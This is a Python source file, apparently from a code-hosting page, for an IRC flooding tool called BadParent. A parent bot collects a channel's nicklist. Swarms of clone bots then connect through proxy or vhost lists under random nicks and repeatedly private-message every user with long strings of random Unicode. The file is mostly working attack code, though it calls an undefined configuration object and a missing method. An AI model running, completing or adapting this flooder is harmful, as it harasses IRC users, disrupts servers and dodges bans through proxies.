#!/usr/bin/env python
 # BadParent IRC Bot - Developed by acidvegas in Python (https://acid.vegas/random)
 # badparent.py
 
 '''
 The parent bot will join a channel, parse the entire nicklist, and maintain it during joins, quits, nick changes, etc.
 The child bot clones will use either proxies or virtual hosts to connect and PM the nicklist.
 Nicks that have the usermode +g *(callerid)*, +D *(privdeaf)*, and +R *(regonlymsg)* will be removed from the nicklist.
 '''
 
 import argparse
 import concurrent.futures
 import os
 import random
 import ssl
 import socket
 import string
 import sys
 import threading
 import time
 
 server   = 'irc.server.com'
 port     = 6667
 nickname = 'BIGDADDY'
 username = 'dad'
 realname = 'I am horrible...'
 
 def alert(msg):
 	print(f'{get_time()} | [+] - {msg}')
 
 def debug(msg):
 	print(f'{get_time()} | [~] - {msg}')
 
 def error(msg, reason=None):
 	print(f'{get_time()} | [!] - {msg} ({reason})') if reason else print(f'{get_time()} | [!] - {msg}')
 
 def error_exit(msg):
 	raise SystemExit(f'{get_time()} | [!] - {msg}')
 
 def get_time():
 	return time.strftime('%I:%M:%S')
 
 def random_str(size):
 	return ''.join(random.choice(string.ascii_letters) for _ in range(size))
 
 def unicode():
 	msg = ''
 	for i in range(random.randint(400,450)):
 		msg += chr(random.randint(0x1000, 0x3000))
 	return msg
 
 
 
 
 class parent(object):
 	def __init__(self):
 		self.nicklist = list()
 		self.sock     = None
 
 	def connect(self):
 		try:
 			self.sock = socket.socket()
 			self.sock.connect((server, port))
 			self.raw(f'USER {username} 0 * :{realname}')
 			self.raw('NICK ' + nickname)
 		except socket.error as ex:
 			error('Failed to connect to IRC server.', ex)
 			self.event_disconnect()
 		else:
 			self.listen()
 
 	def event_connect(self):
 		if config.login.nickserv:
 			self.identify(config.ident.nickname, config.login.nickserv)
 		self.join_channel(config.connection.channel, config.connection.key)
 
 	def event_disconnect(self):
 		error('The parent bot has disconected!')
 		self.sock.close()
 
 	def event_end_of_names(self, chan):
 	   if self.nicklist:
 		   alert(f'Found {len(self.nicklist)} nicks in channel.')
 		   threading.Thread(target=load_children).start()
 	   else:
 		   error('Failed to parse nicklist from channel.')
 
 	def event_join(self, nick, chan):
 		if chan == config.connection.channel:
 			if nick not in self.nicklist:
 				self.nicklist.append(nick)
 
 	def event_kick(self, nick, chan, kicked):
 		if chan == config.connection.channel:
 			if kicked == config.ident.nickname:
 				time.sleep(3)
 				self.join(self.chan, self.key)
 
 	def event_names(self, chan, names):
 		if chan == config.connection.channel:
 			for name in names:
 				if name[:1] in '~!@%&+:':
 					name = name[1:]
 				if name != config.ident.nickname and name not in self.nicklist:
 					self.nicklist.append(name)
 
 	def event_nick(self, nick, new):
 		if nick in self.nicklist:
 			self.nicklist.remove(nick)
 			self.nicklist.append(new)
 
 	def event_nick_in_use(self):
 		self.raw('NICK ' + random_str(random.randint(4,7)))
 
 	def event_quit(self, nick):
 		if nick in self.nicklist:
 			self.nicklist.remove(nick)
 
 	def handle_events(self, data):
 		args = data.split()
 		if data.startswith('ERROR :Closing Link:'):
 			raise Exception('Connection has closed.')
 		elif args[0] == 'PING':
 			self.raw('PONG ' + args[1][1:])
 		elif args[1] == '001':
 			self.event_connect()
 		elif args[1] == '433':
 			self.event_nick_in_use()
 		elif args[1] == '353':
 			chan = args[4]
 			if ' :' in data:
 				names = data.split(' :')[1].split()
 			elif ' *' in data:
 				names = data.split(' *')[1].split()
 			elif ' =' in data:
 				names = data.split(' =')[1].split()
 			else:
 				names = data.split(chan)[1].split()
 			self.event_names(chan, names)
 		elif args[1] == '366':
 			chan = args[3]
 			self.event_end_of_names(chan)
 		elif args[1] == 'JOIN':
 			nick = args[0].split('!')[0][1:]
 			chan = args[2][1:]
 			self.event_join(nick, chan)
 		elif args[1] == 'KICK':
 			chan   = args[2]
 			kicked = args[3]
 			self.event_kick(nick, chan, kicked)
 		elif args[1] == 'NICK':
 			nick = args[0].split('!')[0][1:]
 			new  = args[2][1:]
 			self.event_nick(nick, new)
 		elif args[1] == 'QUIT' :
 			nick = args[0].split('!')[0][1:]
 			self.event_quit(nick)
 
 	def join_channel(self, chan, key=None):
 		self.raw(f'JOIN {chan} {key}') if key else self.raw('JOIN ' + chan)
 
 	def listen(self):
 		while True:
 			try:
 				data = self.sock.recv(1024).decode('utf-8')
 				for line in (line for line in data.split('\r\n') if len(line.split()) >= 2):
 					self.handle_events(line)
 			except (UnicodeDecodeError,UnicodeEncodeError):
 				pass
 			except Exception as ex:
 				error('Unexpected error occured.', ex)
 				break
 		self.event_disconnect()
 
 	def raw(self, msg):
 		self.sock.send(bytes(msg + '\r\n', 'utf-8'))
 
 
 
 class child:
 	def __init__(self, data_line):
 		self.data_line = data_line
 		self.sock      = None
 
 	def attack(self):
 		while True:
 			try:
 				if not Parent.nicklist:
 					error('Nicklist has become empty!')
 					break
 				for name in Parent.nicklist:
 					self.sendmsg(name, unicode())
 					time.sleep(config.throttle.pm)
 			except:
 				break
 
 	def connect(self):
 		try:
 			self.create_socket()
 			self.sock.connect((config.connection.server, config.connection.port))
 			self.raw('USER {0} 0 * :{1}'.format(random_str(random.randint(4,7)), random_str(random.randint(4,7))))
 			self.raw('NICK ' + random_str(random.randint(4,7)))
 		except socket.error:
 			self.sock.close()
 		else:
 			self.listen()
 
 	def create_socket(self):
 		family = socket.AF_INET6 if config.connection.ipv6 else socket.AF_INET
 		if pargs.proxy:
 			proxy_server, proxy_port = self.data_line.split(':')
 			self.sock = socks.socksocket(socket.AF_INET, socket.SOCK_STREAM)
 			self.sock.setblocking(0)
 			self.sock.settimeout(config.throttle.timeout)
 			self.sock.setproxy(socks.PROXY_TYPE_SOCKS5, proxy_server, int(proxy_port))
 		elif pargs.vhost:
 			self.sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
 			self.sock.bind((self.data_line, 0))
 		if config.connection.ssl:
 			self.sock = ssl.wrap_socket(self.sock)
 
 	def listen(self):
 		while True:
 			try:
 				data = self.sock.recv(1024).decode('utf-8')
 				for line in (line for line in data.split('\r\n') if len(line.split()) >= 2):
 					args = data.split()
 					if data.startswith('ERROR :Closing Link:'):
 						raise Exception('Connection has closed.')
 					elif args[0] == 'PING':
 						self.raw('PONG ' + args[1][1:])
 					elif args[1] == '001':
 						alert(f'Successful connection. ({self.data_line})')
 						threading.Thread(target=self.attack).start()
 					elif args[1] == '401':
 						nick = args[3]
 						self.event_bad_nick()
 					elif args[1] == '433':
 						self.raw('NICK ' + random_str(random.randint(4,7)))
 					elif args[1] == '486':
 						nick = args[-1:]
 						self.event_bad_nick(nick)
 					elif args[1] == '716':
 						nick = args[3]
 						if nick in Parent.nicklist:
 							Parent.nicklist.remove(nick)
 					elif args[1] == 'NOTICE':
 						if 'User does not accept private messages' in data:
 							nick = args[5][1:-1]
 							self.event_bad_nick(nick)
 			except (UnicodeDecodeError,UnicodeEncodeError):
 				pass
 			except:
 				break
 		self.sock.close()
 
 	def raw(self, msg):
 		self.sock.send(bytes(msg + '\r\n', 'utf-8'))
 
 	def sendmsg(self, target, msg):
 		self.raw(f'PRIVMSG {target} :{msg}')
 
 
 
 def load_children():
 	debug('Loading children bots...')
 	for i in range(config.throttle.concurrency):
 		debug('Concurrency round starting....')
 		with concurrent.futures.ThreadPoolExecutor(max_workers=config.throttle.threads) as executor:
 			checks = {executor.submit(child(item).connect): item for item in data_lines}
 			for future in concurrent.futures.as_completed(checks):
 				checks[future]
 	debug('Flooding is complete. (Threads still may be running!)')
 
 # Main
 print('#'*56)
 print('#{0}#'.format(''.center(54)))
 print('#{0}#'.format('BadParent IRC PM Flooder'.center(54)))
 print('#{0}#'.format('Developed by acidvegas in Python'.center(54)))
 print('#{0}#'.format('https://acid.vegas/badparent'.center(54)))
 print('#{0}#'.format(''.center(54)))
 print('#'*56)
 parser = argparse.ArgumentParser(usage='%(prog)s <input> [options]')
 parser.add_argument('input',         help='file to scan')
 parser.add_argument('-p', '--proxy', help='proxy list', action='store_true')
 parser.add_argument('-v', '--vhost', help='vhost list', action='store_true')
 pargs = parser.parse_args()
 if (pargs.proxy and pargs.vhost) or (not pargs.proxy and not pargs.vhost):
 	error_exit('Invalid arguments.')
 if pargs.proxy:
 	try:
 		import socks
 	except ImportError:
 		error_exit('Missing PySocks module! (https://pypi.python.org/pypi/PySocks)')
 if not os.path.isfile(pargs.input):
 	error_exit('No such input file.')
 data_lines = [line.strip() for line in open(pargs.input).readlines() if line]
 debug(f'Loaded {len(data_lines)} lines from file.')
 random.shuffle(data_lines)
 debug('Starting parent bot connection...')
 Parent = parent()
 Parent.connect()

© 2023 acidvegas, inc • generated with stagit